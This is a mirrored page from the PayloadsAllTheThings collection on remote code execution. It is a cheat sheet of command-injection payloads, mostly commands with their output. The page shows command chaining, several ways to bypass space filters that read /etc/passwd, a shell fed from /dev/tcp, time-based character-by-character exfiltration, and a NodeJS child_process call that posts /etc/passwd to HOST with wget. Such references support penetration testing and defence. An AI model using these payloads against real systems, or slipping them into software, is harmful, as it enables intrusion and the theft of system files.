mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-19 02:46:10 +00:00
65 lines
1.6 KiB
Markdown
65 lines
1.6 KiB
Markdown
# Remote Code Execution
|
|
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
|
|
|
|
|
|
## Exploits
|
|
Normal code execution, execute the command and voila :p
|
|
```
|
|
cat /etc/passwd
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
bin:x:2:2:bin:/bin:/bin/sh
|
|
sys:x:3:3:sys:/dev:/bin/sh
|
|
```
|
|
|
|
Code execution by chaining commands
|
|
```
|
|
original_cmd_by_server; ls
|
|
original_cmd_by_server && ls
|
|
original_cmd_by_server | ls
|
|
```
|
|
|
|
Code execution without space
|
|
```
|
|
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|
|
RCE
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
|
|
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
|
|
|
|
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
|
|
```
|
|
|
|
## Time based data exfiltration
|
|
Extracting data : char by char
|
|
```
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
real 0m5.007s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
|
real 0m0.002s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
```
|
|
|
|
## Environment based
|
|
NodeJS Code execution
|
|
```
|
|
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
|
|
```
|
|
|
|
## Thanks to
|
|
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
|